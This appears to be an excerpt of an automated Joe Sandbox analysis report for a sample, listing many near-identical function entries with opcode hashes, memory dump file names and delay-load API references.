Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b7567cc5db8489acbea69002499f96c5576194009762eb8a0ac85421f6d31cd1
Instruction ID: 6f601e0d598438d24b0ef228807c6dc040fd30db1d82208c67cad89121fa356f
Opcode Fuzzy Hash: b7567cc5db8489acbea69002499f96c5576194009762eb8a0ac85421f6d31cd1
Instruction Fuzzy Hash: B5B012E1AF83007F331462243D03E3601ACD8C4B11730453AF840C1040E4404C481231

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F57D Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F556

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7d05a63508c51ed830cb800c5a4845436eac713ae1bb436f1f1265153e4d9bf5
Instruction ID: 7592009e8dac25db462c363974b34adf8eacc28e33c8463c3634c06e3108e1cc
Opcode Fuzzy Hash: 7d05a63508c51ed830cb800c5a4845436eac713ae1bb436f1f1265153e4d9bf5
Instruction Fuzzy Hash: E7B012E1AF82007F721462243D13F36016CE4C4B11730443AF840C1040D4404C040331

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F6B4 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F6AB

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d576140eb50f140499341afa368266e2df90f814b27a0f35c26607aad03130ec
Instruction ID: 67324f45a305b92e74346bb099ecf0e0c4a483742a9698ea5bd43a9a75fa9f7f
Opcode Fuzzy Hash: d576140eb50f140499341afa368266e2df90f814b27a0f35c26607aad03130ec
Instruction Fuzzy Hash: 0AB012D1A781007D331471342D03E36016CD4C4B15730453BFC00C0184D4410C4C2331

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F6BE Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F6AB

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8d34d8ba844eb5dd818ca2d4fb6100e35c9cae605082b0ebd82cd5cad721a0a0
Instruction ID: eb270f2c8adaddc6bbb6945c9c7986476ad8f08649ad15b212bdc7aaafcf4e6d
Opcode Fuzzy Hash: 8d34d8ba844eb5dd818ca2d4fb6100e35c9cae605082b0ebd82cd5cad721a0a0
Instruction Fuzzy Hash: 90B012D5A780007D321471342E03E36016CE0C4B15730843BFC00C8084D4410C091331

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F699 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F6AB

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2efb1261dd20c60f5b6f0814604ccfb161dc3ce88e97bfdc1b6844685b4fac6f
Instruction ID: 3de5fa1a1a489066d69c84bae322b0623d5acc68aecdeffa8d7b020616aa0b8f
Opcode Fuzzy Hash: 2efb1261dd20c60f5b6f0814604ccfb161dc3ce88e97bfdc1b6844685b4fac6f
Instruction Fuzzy Hash: 10B012D9A790007D32143120BE03D36012CD8C0B15730843BFC00D808194514C051231

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F6C8 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F6AB

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9304f4a3622f1ccc63135f57d6c8a45150acc1f3776bf26245afc418287025b0
Instruction ID: 722214fe624e54148a34a358b78e84a4b912d87262bcf1c27a65e232a1a24198
Opcode Fuzzy Hash: 9304f4a3622f1ccc63135f57d6c8a45150acc1f3776bf26245afc418287025b0
Instruction Fuzzy Hash: 2EB012D1A780007D321471342D13F36016CE0C4B15730443BFC00C0084D4400C081331

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F6D2 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F6AB

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fc145ac9f2aae7ae52dec4a283a6e8726894d4a7b90e5e102809a4013a1d917f
Instruction ID: 552b19d643083a6be6acac26b5343ec381e0f5dfba7e97e702db3114564c662a
Opcode Fuzzy Hash: fc145ac9f2aae7ae52dec4a283a6e8726894d4a7b90e5e102809a4013a1d917f
Instruction Fuzzy Hash: 99B012D1A78000BD321871242D03E3A017CE0C4B15730843BFC00C5084D4400C081332

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F733 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F70C

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6492ae3a5a57decc2f8c0a175192f62df99155c111380350b99942372aeb3a1b
Instruction ID: 2ad00cd69a86ccf8503bfb95a5cd939b2745e3c5cb3e4c962272c2ba4d734417
Opcode Fuzzy Hash: 6492ae3a5a57decc2f8c0a175192f62df99155c111380350b99942372aeb3a1b
Instruction Fuzzy Hash: F4B01291A782027D326871242D07F36411CD4C0B117304E3AF800C0040D4400C840331

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F73D Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F70C

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0d2abd793481a395d1dbe08809ec4068c36ae65ca8409e183d01c29439a6a39f
Instruction ID: 4e1475584302b0efeb1e5e41e0502c7f7d19def6a5005bff3d50fab077072735
Opcode Fuzzy Hash: 0d2abd793481a395d1dbe08809ec4068c36ae65ca8409e183d01c29439a6a39f
Instruction Fuzzy Hash: 01B01291A781027D322871242D07F3A411CD4C0B11730893AFC00C5044D4400C480231

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F71F Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F70C

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8b86b88aca20001c842a82caf62cc4962cc5fd324d4b0bf0dd9f740a88e19ab1
Instruction ID: 5fbcb1f57de8559e84e2358ede0e2197a89e0f923123afbcee0bde06c9949a06
Opcode Fuzzy Hash: 8b86b88aca20001c842a82caf62cc4962cc5fd324d4b0bf0dd9f740a88e19ab1
Instruction Fuzzy Hash: D9B01295A781027D321471242E47F36011CE4C0B11730493AF800C4040D4800D450231

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F3B9 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F33D

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 403610df12fcbca061a5b325da6eb8bd178d58120a6dccc8f4dc26ca0f63b81f
Instruction ID: 3386a97a62cf4db4557ffee4ad7e5e830c9adeefa15850bac162c77227c30322
Opcode Fuzzy Hash: 403610df12fcbca061a5b325da6eb8bd178d58120a6dccc8f4dc26ca0f63b81f
Instruction Fuzzy Hash: 97A002955791037D355555516D17D36022CD4D4B517305D2EF851C404594501C455531

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F3EB Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F33D

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: dc3a2cf2260ad873f32644a0e191bf3fd104f6bcc3284f14129f78dea2ff3699
Instruction ID: 3386a97a62cf4db4557ffee4ad7e5e830c9adeefa15850bac162c77227c30322
Opcode Fuzzy Hash: dc3a2cf2260ad873f32644a0e191bf3fd104f6bcc3284f14129f78dea2ff3699
Instruction Fuzzy Hash: 97A002955791037D355555516D17D36022CD4D4B517305D2EF851C404594501C455531

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F3F5 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F33D

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e64effabcf1590eee357d192b2caeb100923572239294a3e1cb02d42e5bc656a
Instruction ID: 3386a97a62cf4db4557ffee4ad7e5e830c9adeefa15850bac162c77227c30322
Opcode Fuzzy Hash: e64effabcf1590eee357d192b2caeb100923572239294a3e1cb02d42e5bc656a
Instruction Fuzzy Hash: 97A002955791037D355555516D17D36022CD4D4B517305D2EF851C404594501C455531

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F3FF Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F33D

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5a9db4a0a365eb986b2ae969f269e54f3030bf15e106dea07a15f497d9e6a31f
Instruction ID: 3386a97a62cf4db4557ffee4ad7e5e830c9adeefa15850bac162c77227c30322
Opcode Fuzzy Hash: 5a9db4a0a365eb986b2ae969f269e54f3030bf15e106dea07a15f497d9e6a31f
Instruction Fuzzy Hash: 97A002955791037D355555516D17D36022CD4D4B517305D2EF851C404594501C455531

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F3D7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F33D

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b16729dcde025a592f6fb2a4ba7fb7a2df947bfa399fcf95ef2cdf8da9e640e7
Instruction ID: 3386a97a62cf4db4557ffee4ad7e5e830c9adeefa15850bac162c77227c30322
Opcode Fuzzy Hash: b16729dcde025a592f6fb2a4ba7fb7a2df947bfa399fcf95ef2cdf8da9e640e7
Instruction Fuzzy Hash: 97A002955791037D355555516D17D36022CD4D4B517305D2EF851C404594501C455531

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F373 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F33D

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 06093ad5f21db5ede242e1b73dc57e43a17944658be290b4749615377dd7d950
Instruction ID: 3386a97a62cf4db4557ffee4ad7e5e830c9adeefa15850bac162c77227c30322
Opcode Fuzzy Hash: 06093ad5f21db5ede242e1b73dc57e43a17944658be290b4749615377dd7d950
Instruction Fuzzy Hash: 97A002955791037D355555516D17D36022CD4D4B517305D2EF851C404594501C455531

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F427 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A3F33D

Part of subcall function 00A3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A3FA5C
Part of subcall function 00A3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A3FA6D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8cfa11f207b2acce3c0ff2b25289fc765ccdebd0b599b552fe1f7f708b89f680
